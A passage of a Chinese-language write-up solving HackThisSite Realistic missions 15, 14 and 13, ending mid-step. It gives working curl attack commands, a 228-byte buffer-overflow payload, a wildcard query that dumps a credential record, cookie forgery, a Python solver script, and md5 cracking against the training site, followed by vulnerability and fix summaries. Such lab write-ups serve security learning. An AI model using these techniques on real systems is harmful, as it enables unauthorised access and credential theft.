target = "9e71fc2a99a71b722ead746b776b25ac"
h1 = hashlib.md5(b"foobar").hexdigest() # 3858f62230ac3c915f300c664312c63f
h2 = hashlib.md5(h1.encode()).hexdigest() # 9e71fc2a99a71b722ead746b776b25ac
print(h1)
print(h2)
print("match:", h2 == target)
1
2
3
3858f62230ac3c915f300c664312c63f
9e71fc2a99a71b722ead746b776b25ac
match: True

明文是 foobar

Step 4: 登入 MyShell 并枚举

admin_area/ 目录本身开启目录保护,/admin_area/ 直接访问返回 Forbiddenshell.php 走独立的 HTTP Basic 认证,还需要一个本站 Referer,否则返回 Invalid Referer

1
2
3
4
5
6
$ curl -s -u root:foobar -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/15/" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" \
| grep -o "MyShell 1.1.0 build 20010923\|Current User: <a[^>]*>[^<]*"
MyShell 1.1.0 build 20010923
Current User: <a href="#">wwwrun

运行身份 wwwrun,初始 cwd /srv/www/htdocs/admin_area/。这个 MyShell 是个被裁剪过的版本:只放行 ls,且参数必须以 - 开头(纯 flag)。带别的东西一律回 Heh I can't really let you mess around with my server!

1
2
3
4
5
6
7
8
9
10
11
$ curl -s -u root:foobar -b "HackThisSite=<mission-cookie>" \
-e ".../admin_area/shell.php" --data-urlencode "command=ls -la" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php"
drwxr-xr-x 2 root root 4096 Dec 4 20:23 .
drwxr-xr-x 2 root root 4096 Dec 4 21:23 ..
drwxr-xr-x 2 root root 4096 Dec 3 17:14 helpdesk
drwxr-xr-x 2 root root 4096 Dec 4 20:32 mypr0n
-r-xr-xr-x 1 root users 6491 Dec 4 20:01 shell.php
drwxr-xr-x 2 root root 4096 Dec 4 21:23 test
-r-xr-xr-x 1 root users 1608 Dec 3 12:19 viewpatents.php
-rw-r--r-- 1 root root 390 Dec 4 21:21 viewpatents2.php

对照测试确认了这条过滤器规则 —— lsls -lls -als -la 通过;ls /ls .ls -la testpwdecho hicat viewpatents2.phpmore ...head ...uname -a 全部被拒:

1
2
3
4
5
6
[ls        ] helpdesk/ mypr0n/ shell.php test/ viewpatents.php viewpatents2.php
[ls -la ] <完整长列表,见上>
[pwd ] Heh \n I can't really let you mess around with my server!
[ls / ] Heh \n I can't really let you mess around with my server!
[ls -la test] Heh \n I can't really let you mess around with my server!
[cat viewpatents2.php] Heh \n I can't really let you mess around with my server!

shell 只能列目录,读不到文件内容。目标落到 viewpatents.php —— 这几十字节的文件名恰好就是"专利查看"入口。它也直接暴露在 admin_area/ 下,且受 Basic 保护:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents.php"
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>latest patents and developments</title>
</head>
<body>
<b><u><div style="text-align:center";>&nbsp;View latest patents and developments &nbsp;</div></u></b>

<form action="viewpatents2.php" method="post">
<table border="0" cellpadding="0" cellspacing="0" width="80%" align="center">
<tbody>
<tr>
<td style="width:45%; text-align:right">Username: &nbsp;</td>
<td><input name="username" value="" type="text"></td>
</tr>
<tr>
<td style="text-align:right";>Password: &nbsp;</td>
<td><input name="password" value="" type="text"></td>
</tr>
</tbody>
</table>
</form>

Step 5: 下载校验器源码

test/ 里有一个可直连下载的校验器源码包 /admin_area/test/chkuserpass.c.zip

1
2
3
$ curl -s -b "HackThisSite=<mission-cookie>" -o chkuserpass.c.zip \
"https://www.hackthissite.org/missions/realistic/15/admin_area/test/chkuserpass.c.zip"
$ unzip -o chkuserpass.c.zip

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
char checkit(char* username, char* password, char* hash)
{
char is_pass_correct = 'N'; /* initialize to NO */
char *fillstring = "_T*4$n"; /* Use this string to make a */
/* less than 4chars password */
/* longer */
char concatenated[200];
strcpy(concatenated, username);

/* if a password is less than 4 chars long, */
/* add some extra characters */
if (strlen(password) < 4)
strcat(concatenated, fillstring);

strcat(concatenated, password);

if (strcmp(mymd5(concatenated), hash) == 0)
is_pass_correct = 'Y';

return is_pass_correct;
}

漏洞在 strcpy(concatenated, username)concatenated 只有 200 字节,username 完全由请求方控制,没有任何长度检查。栈上 is_pass_correct 就挨着这块缓冲区,一个超过缓冲区长度的 username 会溢出并覆盖它 —— 而 is_pass_correct 只要不等于 'N' 就会被当成"通过"(返回给上层做判断)。用等长的 Y(0x59)填满到该变量即可把它改成 'Y'

Step 6: 228 个大写 Y 触发溢出

viewpatents2.php 直接把表单的 username 送进 chkuserpass。提交 228 个大写 Y,密码留空:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ PAYLOAD=$(python3 -c "print('Y'*228)")
$ echo -n "$PAYLOAD" | wc -c
228

$ curl -s -i -b "HackThisSite=<mission-cookie>" -A "<ua>" \
-e "https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents.php" \
--data-urlencode "username=$PAYLOAD" --data "password=" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents2.php"
HTTP/2 200
content-type: text/html
content-language: en
server: HackThisSite

<center><div style="width:80%"><div class="dark-td"><h2>Congrats</h2></div>
<div class="light-td">Good Job, ***, You have successfully completed Mission 15<br /></div></div></center>

服务端直接返回里程碑页。

普通短用户名则被正常拒绝:

1
2
3
4
$ curl -s -b "HackThisSite=<mission-cookie>" \
--data "username=admin" --data "password=test" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents2.php"
Access denied! <br />Your IP and useragent were logged!<br />

Access denied! 是凭据错误的正常分支;228 个 Y 走的是溢出分支,说明 is_pass_correct 被成功覆盖成 'Y',凭据校验被绕过,Mission 15 完成。

Vulnerabilities

  • 未引用的公开目录 + 目录列表/_backups_/ 没有被任何页面引用,却开着目录索引,直接泄露 backup.zip。备份本身把应用源码、认证逻辑和配置常量一起打包带走。
  • ZipCrypto 已知明文恢复:传统 PKZIP 加密对已知明文毫无抵抗力。归档里只要有一个文件能在站上拿到明文(index.htm),就能恢复三组 key 并整包解密。
  • 变量变量泄露敏感常量$MyShellVersion = ".... ".$$PHP_AUTH_USER; 把用户可控的"变量名"当变量去取值,并在 401 错误页回显,于是 shellPswd_root(root 密码哈希)被直接打印。md5(md5()) 存储也挡不住这种泄露。
  • 凭据比对用 ereg() + 用户可控文件名msgauth.php 把用户输入当正则、"files/" 前缀后又允许 ../ 穿越,既能读任意文件又能用正则/子串匹配绕过比对。
  • 栈缓冲区溢出chkuserpass.cstrcpy(concatenated, username) 对 200 字节缓冲无边界检查,可覆盖栈上相邻的 is_pass_correct 布尔标记,从而在校验未通过的情况下返回 'Y'
  • 被裁剪的 shell 不是安全边界:MyShell 只放行 ls 属于"限制命令"而非"消除权限",只要还有一个可写入口(viewpatents2.php)能触达有漏洞的原生程序,限制 shell 就形同虚设。

修复方向:备份目录移出 Web 根、关闭目录索引;不要用 ZIP 传统加密存放源码,改用发布产物 + 强加密;认证比较用常量时间函数并在校验前完成,绝不把内部常量通过变量插值回显;文件读取用固定资源 id 映射,禁止把用户输入当路径或正则;原生校验程序用 strncpy/长度检查并独立存布尔结果,别让缓冲区与结果相邻。

Challenge

An internet start-up is rumoured to be selling user data and usage habits to advertisers while they claim the opposite. Hack in and get some proof.

一家互联网创业公司被指一边声称绝不这么做,一边把用户数据和使用习惯卖给广告商。潜入并取得证据。

Yuppers Internet Solutions 是一个虚构的搜索引擎公司。入口 /missions/realistic/14/ 就是这家公司的官网首页:新闻(news.cgi)、搜索(search.cgi)、财经(finance/)、邮件(mail/)、Y-Web(yweb/)、People(people.html),以及一个 "Web Permit" 登录/注册模块(login.htmlwebpermit/login.cgi)。目标是进入管理员区域,拿到"把用户行为卖给广告商"的证据。

Solution

Recon:

  • 首页 index.cgi 列出的入口全部在同目录:search.cginews.cgifinance/mail/yweb/people.htmlabout.htmllogin.html
  • news.cgistory=<n> 读取新闻:news.cgi?story=1 ~ story=4 是新闻正文。
  • login.html 的登录表单 action="webpermit/login.cgi" method="post",字段名是 yuppers_user / yuppers_pass(不是 username/password)。
  • moderator.cgi 存在,GET 直接返回一个 "Enter your moderator id below" 的登录表单,POST 字段是 action=loginid
  • administrator.cgi 直接 GET 返回自定义 404(404! Page not found.),但它确实存在——未带 Web Permit cookie 时返回 404,带上管理员 cookie 后才吐内容(见 Step 5)。
  • 站内顶级域外没有可用入口;robots.txt 等未知静态路径落到一张默认 JPEG,属噪声。

Step 1: news.cgi 的 story 参数与失效的 null byte

news.cgistory 值拼成 <story>.news 去打开:不存在的 story 会回显完整文件名,说明输入被直接拼进了文件路径,这个拼接点也就能被 null byte 截断。

1
2
3
4
5
6
7
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/14/news.cgi?story=0"
Failed to load 0.news<table width=550 bgcolor="#333333" cellpadding=10 cellspacing=1>

$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/14/news.cgi?story=moderator.cgi"
Failed to load moderator.cgi.news<table width=550 bgcolor="#333333" cellpadding=10 cellspacing=1>

news.cgi?story=moderator.cgi%00 期望用 NUL 截掉末尾的 .news,直接读到 moderator.cgi 的源码,源码里写着 moderator id(isadmin)。这个截断在当前节点不成立——服务端把 NUL 当成普通字符拼进文件名,open() 失败后原样回显,包括那个 NUL 字节:

1
2
3
4
5
6
7
8
9
10
11
12
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/14/news.cgi?story=moderator.cgi%00" \
| grep -a -o 'Failed to load [^<]*'
Failed to load moderator.cgi^@.news

$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/14/news.cgi?story=.%00" \
-o /tmp/nulldot.bin
$ tail -c 96 /tmp/nulldot.bin | xxd
00000020: 626c 653e 3c2f 666f 726d 3e46 6169 6c65 ble></form>Faile
00000030: 6420 746f 206c 6f61 6420 2e00 2e6e 6577 d to load ...new
00000040: 733c 7461 626c 6520 7769 6474 683d 3535 s<table width=55

2e 00 2e 6e 65 77 73 = . \0 .news。服务端收到的确是一个带内嵌 NUL 的字符串 .\0.news,说明 Perl 的 open() 现在直接拒绝含 NUL 的路径(Perl 早期版本把 NUL 当 C 字符串终止符,才只打开 .moderator.cgi)。因此"读源码拿 id"这一步在当前版本不可用,只能换信息源:id 是硬编码常量,直接取 isadmin,下一节用单变量对照确认它确实是服务端校验的魔法值。

Step 2: moderator.cgi 登录,id 是硬编码魔法值

GET 直接拿到登录表单(不需要 Referer):

1
2
3
4
5
6
7
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/14/moderator.cgi"
Enter your moderator id below:<br>
<form action="moderator.cgi" method="post">
<input type="hidden" name="action" value="login">
<input type="text" name="id" size=15>
<input type="submit" value="log in"></form>

POST 走的是 HTS 平台统一的 CGI 外层包装,带 CSRF/Referer 检查:不带 Referer 时整个请求被平台层拦下,返回 Invalid Referer,根本到不了 mission 的 CGI:

1
2
3
4
5
6
7
8
9
$ curl -s -b "HackThisSite=<mission-cookie>" \
-d 'action=login&id=isadmin' \
"https://www.hackthissite.org/missions/realistic/14/moderator.cgi" \
| grep -A2 'Invalid Referer'
<strong>
<font size="2">Invalid Referer</font>
</strong>
<font size="1">
Invalid referer. The requested URL /missions/realistic/14/moderator.cgi will not be loaded.

加上任务目录内的 Referer 后正常返回 moderator panel:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ curl -s -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/14/news.cgi" \
-d 'action=login&id=isadmin' \
"https://www.hackthissite.org/missions/realistic/14/moderator.cgi"
<html><head><title>Moderator Panel</title></head><body>
<center>
<h3>Welcome to the moderator panel</h3>
<form action="moderator.cgi" method="post">
<input type="hidden" value="view" name="action">
<input type="hidden" value="isadmin" name="id">
&nbsp;&nbsp;View Account Info: <input type="text" name="account" size=20 value=""><br>
&nbsp;&nbsp;<input type="submit" value="Submit">
</form>

<form action="moderator.cgi" method="post">
<b>Email:</b><br>
<input type="hidden" value="email" name="action">
<input type="hidden" value="isadmin" name="id">
&nbsp;&nbsp;View Email Traffic: <input type="text" name="account" size=20 value=""><br>
&nbsp;&nbsp;<input type="submit" value="Submit">
</form>
</center>
</body></html>

panel 有两个功能:action=view(查账户)和 action=email(看邮件流量),都以 account 为查询参数。用单变量对照确认 id 是校验过的,不是随便填:

1
2
3
4
5
$ curl -s -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/14/news.cgi" \
-d 'action=login&id=zzz' \
"https://www.hackthissite.org/missions/realistic/14/moderator.cgi"
You have entered an invalid id.

zzz 被拒、isadmin 通过,说明 id 是服务端硬编码的魔法值——正是 null-byte 那步本来要泄露的东西。

Step 3: account 通配符泄露管理员资料

account 查询支持通配符 *,直接回吐完整账户记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ curl -s -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/14/moderator.cgi" \
-d 'action=view&id=isadmin&account=*' \
"https://www.hackthissite.org/missions/realistic/14/moderator.cgi"
<b>Admin Account</b><br>username: webguy<br>
password: reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack<br>
Sha1 hash: 861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05<br>
email address: webguy@yuppers.nod<br>
first name: Bob<br>
middle name: Underwood<br>
last name: Yuppers<br>
month of birth: Male<br>
day of birth: Unmarried<br>
year of birth: September<br>
gender: 24<br>
marital status: 1973<br>
country: United States<br>
state: Idaho<br>
city: Boise<br>
address: 9451 Poplar Road<br>
phone number: 539-124-5155<br>
occupation: webmaster<br>
income: 8650000<br>
dependents: 0<br>
first interest/hobby: programming<br>
second interest/hobby: eating out<br>
third interest/hobby: fund raising for Republicans<br>
fourth interest/hobby: making TV ads<br>
fifth interest/hobby: encryption<br>
about: Hello, I am Bob Underwood Yuppers, and I am the CEO and founded Yuppers Internet Solutions.<br>

拿到明文密码 reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack 和它的 SHA1 861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05account 字段的解析是对原始 POST body 做字符串匹配的:把 body 做标准 form-urlencode 会把 * 编成 %2A,服务端不认,返回 That user doesn't exist.——所以 * 必须以裸字符发出(脚本里用原始 body 而非 dict 就是这个原因)。

login.html 的表单提交到 webpermit/login.cgi,字段名是 yuppers_user / yuppers_pass

1
2
3
4
5
6
7
8
9
10
11
$ curl -s -i -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/14/login.html" \
--data-urlencode 'yuppers_user=webguy' \
--data-urlencode 'yuppers_pass=reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack' \
"https://www.hackthissite.org/missions/realistic/14/webpermit/login.cgi"
HTTP/2 200
set-cookie: yuppers_user=webguy; path=/
set-cookie: yuppers_pass=861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05; path=/
set-cookie: admin_login=2067123; path=/

Logged in as webguy. (<a href="javascript:logout()">log out</a>)<br><a href="../administrator.cgi">Administrator Panel</a>

登录成功后服务端下发的三个 cookie 是关键:yuppers_user(明文用户名)、yuppers_pass(密码的 SHA1)、admin_login(一个数字标识)。注意 yuppers_pass 存的是 SHA1,而不是再套一层签名/加密——任何人拿到这三个值就能伪造出管理员身份。页面同时给出 ../administrator.cgi 的链接。

Step 5: administrator.cgi 与通关

带着这三个 cookie 请求 administrator.cgi,它才吐内容(不带 cookie 时返回的就是那个误导人的 404):

1
2
3
4
5
6
$ curl -s -b "HackThisSite=<mission-cookie>; yuppers_user=webguy; \
yuppers_pass=861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05; admin_login=2067123" \
-e "https://www.hackthissite.org/missions/realistic/14/webpermit/login.cgi" \
"https://www.hackthissite.org/missions/realistic/14/administrator.cgi"
You shuffle through the admin panel and see that every action is monitored and sold to advertisers. You clear out the logs and post the entire source to the main page, and of course...<br><br>
<iframe src="webpermit/fix/mission-accomplished.php?codewebs_check=d1e9f8ad82c1e02c47b332e9d14bcf866654e986" style="border: 0px #ffffff outset; width:80%; height:50%;"></iframe>

administrator.cgi 把完成检查放在一个 iframe 里,跟进它即可确认:

1
2
3
4
5
$ curl -s -b "HackThisSite=<mission-cookie>; yuppers_user=webguy; \
yuppers_pass=861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05; admin_login=2067123" \
-e "https://www.hackthissite.org/missions/realistic/14/administrator.cgi" \
"https://www.hackthissite.org/missions/realistic/14/webpermit/fix/mission-accomplished.php?codewebs_check=d1e9f8ad82c1e02c47b332e9d14bcf866654e986"
<center><div style="width:80%"><div class="dark-td"><h2>Congrats</h2></div><div class="light-td">Good Job, ***, You have successfully completed Mission 14<br /></div></div></center>

通关响应是 <h2>Congrats</h2> + You have successfully completed Mission 14。整个链路可一次性脚本化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
"""HackThisSite Realistic Mission 14 (Yuppers Internet Solutions) solver.

Chain: moderator.cgi credential-less login (id=isadmin) -> wildcard account dump
-> Web Permit login -> administrator.cgi -> mission-accomplished.php.

Notes:
- The null-byte source read (news.cgi?story=moderator.cgi%00) does not
truncate on the live node: Perl rejects an embedded NUL in open(), so the
CGI reports "Failed to load moderator.cgi\\0.news". The hardcoded
moderator id is supplied directly instead.
- POST bodies are sent raw (not form-encoded): moderator.cgi matches on the
literal "account=*" token, so "%2A" would miss the wildcard.
"""
import os
import re

import requests

BASE = "https://www.hackthissite.org/missions/realistic/14"
UA = (
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
)
FORM = "application/x-www-form-urlencoded"

# HTS platform session cookie, e.g. HTS_COOKIE="HackThisSite=<mission-cookie>"
_raw = os.environ.get("HTS_COOKIE", "HackThisSite=<mission-cookie>")
_name, _, _value = _raw.partition("=")

s = requests.Session()
s.headers["User-Agent"] = UA
s.cookies.set(_name, _value, domain="www.hackthissite.org", path="/")


def main() -> None:
# Step 1: null-byte source read (no truncation on the live node)
r = s.get(f"{BASE}/news.cgi", params={"story": "moderator.cgi\x00"}, timeout=30)
tail = r.text.split("</form>")[-1]
print("[1] story=moderator.cgi%00 ->", tail[:40].replace("\x00", "<NUL>"))

# Step 2: moderator login; "isadmin" is the hardcoded magic id
r = s.post(
f"{BASE}/moderator.cgi",
data="action=login&id=isadmin",
headers={"Referer": f"{BASE}/news.cgi", "Content-Type": FORM},
timeout=30,
)
print("[2] moderator panel:", "View Account Info" in r.text)

# Step 3: wildcard account lookup leaks the admin record
r = s.post(
f"{BASE}/moderator.cgi",
data="action=view&id=isadmin&account=*",
headers={"Referer": f"{BASE}/moderator.cgi", "Content-Type": FORM},
timeout=30,
)
user = re.search(r"username: (\w+)", r.text).group(1)
pw = re.search(r"password: ([^<\s]+)", r.text).group(1)
print("[3] leaked admin creds:", user, "/", pw)

# Step 4: Web Permit login; the server replies with yuppers_* cookies
r = s.post(
f"{BASE}/webpermit/login.cgi",
data="yuppers_user=%s&yuppers_pass=%s" % (user, pw),
headers={"Referer": f"{BASE}/login.html", "Content-Type": FORM},
timeout=30,
)
print("[4] web permit logged in:", "Logged in as" in r.text)

# Step 5: administrator panel now resolves and returns the completion iframe
r = s.get(
f"{BASE}/administrator.cgi",
headers={"Referer": f"{BASE}/webpermit/login.cgi"},
timeout=30,
)
m = re.search(r'src="([^"]*mission-accomplished\.php[^"]*)"', r.text)
print("[5] completion iframe:", m.group(1) if m else "NOT FOUND")


if __name__ == "__main__":
main()

实际运行输出(HTS_COOKIE 通过环境变量注入,不落盘):

1
2
3
4
5
6
7
$ cd <hts-workspace> && HTS_COOKIE="HackThisSite=<mission-cookie>" \
uv run python challenges/hackthissite-realistic-14/solve.py
[1] story=moderator.cgi%00 -> Failed to load moderator.cgi<NUL>.news<table
[2] moderator panel: True
[3] leaked admin creds: webguy / reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack
[4] web permit logged in: True
[5] completion iframe: webpermit/fix/mission-accomplished.php?codewebs_check=d1e9f8ad82c1e02c47b332e9d14bcf866654e986

Vulnerabilities

  • 源码泄露news.cgi 直接把用户输入的 story 拼进 open("<story>.news"),本意靠 poison null byte 截断后缀读源码。现代 Perl 已在 open() 层拒绝含 NUL 的路径,这步失效,但"输入直接拼文件路径"的根因仍在。
  • 硬编码魔法值当凭据moderator.cgiid=isadmin 这种常量做管理员开关,一经泄露即无第二因子;源码泄露渠道失效后,该值仍是纯静态机密。
  • 越权/信息泄露account=* 通配符让任意已登录 moderator 拉到全部账户(含明文密码、SHA1、邮箱、住址、收入等 PII),是典型的水平/垂直越权 + 过度数据暴露。
  • 明文与弱哈希存储:账户表里直接存明文 password,同时留一份无盐 SHA1;两者都在越权查询里一并吐出。
  • 可伪造的 cookie 认证:Web Permit 的登录态完全由客户端 cookie 承载——yuppers_user(明文)、yuppers_pass(密码 SHA1)、admin_login(数字)。administrator.cgi 只校验这三个值,没有任何服务端会话或签名,改一下 yuppers_user/admin_login 就能冒充别人。
  • 误导性的访问控制表现administrator.cgi 未授权时返回自定义 404 而非 401/403,容易让人误判"组件不存在/已损坏"。

修复方向:文件路径用固定资源 id 映射,不做字符串拼接;权限判定用服务端会话 + 随机不可预测的 token,绝不把身份/凭据放进客户端可改的 cookie;账户查询按登录者身份做行级授权,禁止通配符批量导出;密码用带盐强哈希(bcrypt/argon2)存储,日志和错误信息不回显完整文件路径;未授权访问返回 401/403 而不是伪装 404。

Challenge

Elbonia's Elections are coming! Help delay these elections by taking down the main competitor's site! Be careful though, you get caught, you'll be wishing you had your soap on a rope...

埃尔博尼亚大选将至,任务是拿下主要竞争对手的站点来拖住选举。入口 https://www.hackthissite.org/missions/realistic/13/ 是竞争对手 ENRP(Elbonian National Republican Party)的官网——一个 2004 年的静态站被原样复刻成 PHP,导航里有 news.php / debates.php / members.php / newsletter.php / mailinglist.php / speeches.php / press.php / economy.php

Solution

Recon:

  • 首页 index.php 是站点门面:竞选日程(Debates 2004-09-20 起、Voting 2004-11-13 @ Monotim Squares)加一段新闻摘要。members.php / mailinglist.php / debates.php / economy.php / news.php 都是静态内容,没有可利用的参数。
  • newsletter.php 给了一句关键提示:make sure you have the hidden login url and your password handy. —— 目标是一个"隐藏登录 URL",需要口令。
  • 真正有参数处理的只有两个页面:speeches.php(POST speechspeeches2.php)和 press.php(POST releasereadpress.php)。两个表单的下拉都只有少量合法值,这类手写拼接的页面在拿到非法参数时通常会打 PHP 报错,而报错会带出源码和路径。

Step 1: 两处报错把源码和目录结构吐出来

先看讲稿分支。speeches.php 的下拉只有 value="1"speech=1 返回 This speech is still being edited, as it had many errors because of our ex-typist;把值换成一个不存在的讲稿名,include() 失败,warning 里带着服务端绝对路径:

1
2
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/speeches2.php?speech=x"

错误页除了站点外框(导航、页脚)之外,正文是下面这些内容(原文照录):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
The following speeches have been given already:

SPEECH: x could not be found

Warning
[2] include(C:\Program Files\Apache Group\Apache2\ENRP\oldsite\speches.php): failed to open stream: No such file or directory
Error on line 18 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

Warning
[2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\oldsite\speches.php' for inclusion (include_path='.:/usr/local/share/pear')
Error on line 18 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

Warning
[2] include(C:\Program Files\Apache Group\Apache2\ENRP\21232f297a57a5a743894a0e4a801fc3\speches.php): failed to open stream: No such file or directory
Error on line 24 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

Warning
[2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\21232f297a57a5a743894a0e4a801fc3\speches.php' for inclusion (include_path='.:/usr/local/share/pear')
Error on line 24 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

Warning
[2] include(C:\Program Files\Apache Group\Apache2\ENRP\admin\passes.php): failed to open stream: No such file or directory
Error on line 25 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

Warning
[2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\admin\passes.php' for inclusion (include_path='.:/usr/local/share/pear')
Error on line 25 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php

观察到的信息:站点根在 C:\Program Files\Apache Group\Apache2\ENRP\,脚本运行在 /www/hackthissite.org/www/missions/realistic/13/;存在 ENRP\oldsite\(旧站备份)、ENRP\admin\,以及一个 32 位十六进制命名的目录 21232f297a57a5a743894a0e4a801fc3。三条 include 串里的 speches.php 拼错了(少一个 e),说明这些是硬编码模板串。

再看新闻稿分支,它泄露得更彻底。press.php 是 POST releasereadpress.php,直接请求 readpress.php(不给参数)会踩到同一条报错路径,把 readpress.php 的源码片段和数据库错误一起打出来:

1
2
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/readpress.php"

正文段落(原文照录):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
MySQL Error: "" row does not exist in table "press_table";

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in C:\Program Files\Apache Group\Apache2\ENRP\readpress.php on line 33

Error in query:

error_reporting(E_ALL);

$service_port = "80";
$address = "localhost";

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$in = "GET /speeches/passwords/" . md5('Speeches') . "";
$in .= "REFERER: http://ENRP/get_speeches_passwords_referer\n";
$in .= "\n\n";
$out = '';

socket_write($socket, $in, strlen($in));
echo "OK.\n";

include("C:\Program Files\Apache Group\Apache2\htdocs\ENRP\includes\special.php");
include("C:\Program Files\Apache Group\Apache2\htdocs\ENRP\includes\footer.php");
include("C:\Program Files\Apache Group\Apache2\htdocs\ENRP\includes\arrange.php");
?>

这一段直接给出了通关路线:站点自己在服务端用 socket 去 GET /speeches/passwords/<某个目录>,目录名是 md5('Speeches'),并且请求时必须带上 REFERER: http://ENRP/get_speeches_passwords_referer。也就是说,/speeches/passwords/ 下面有个用 md5('Speeches') 命名的"受保护"目录。

Step 2: 算出受保护目录名,读出口令文件

按报错里泄露的表达式直接算 md5(注意不是 md5('speeches') 小写,原文是大写 S):

1
2
$ printf '%s' Speeches | md5sum
7e40c181f9221f9c613adf8bb8136ea8 -

拼成 URL 访问,得到的是 Apache 自动目录索引:

1
2
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8/"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8</title>
</head>
<body>
<h1>Index of /missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/missions/realistic/13/speeches/passwords/">Parent Directory</a></td><td>&nbsp;</td><td align="right"> - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="passwords.fip">passwords.fip</a></td><td align="right">2013-12-30 05:28 </td><td align="right"> 66 </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
</body></html>

目录里只有一个 passwords.fip(66 字节,扩展名写成 .fip,和前面 speches.php 一样是这个站的笔误风格)。把它拉下来:

1
2
3
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/13/speeches/passwords/7e40c181f9221f9c613adf8bb8136ea8/passwords.fip"
7bc35830abab8fced52657d38ea048df:21232f297a57a5a743894a0e4a801fc3

两个 32 位十六进制值,用冒号分隔——这就是 newsletter 里说的"你的口令"。

Step 3: 爆破两个 md5,得到用户名和口令

两个值都是弱口令,字典一跑就出(hashcat -m 0 hash.txt rockyou.txt 之类)。这里直接用已知明文回算验证:

1
2
3
4
5
$ printf '%s' moni1 | md5sum
7bc35830abab8fced52657d38ea048df -

$ printf '%s' admin | md5sum
21232f297a57a5a743894a0e4a801fc3 -

passwords.fip 的内容(7bc35830abab8fced52657d38ea048df21232f297a57a5a743894a0e4a801fc3,冒号分隔)对应的是 moni1:admin,即用户名 moni1、口令 admin。注意左边那个 7bc35830abab8fced52657d38ea048df用户名的哈希md5('moni1')),它是口令文件里的字段,不是目录名——后面会看到把它当目录名用会 404。

Step 4: 诱饵后台 /13/admin/ 与真正的登录目录

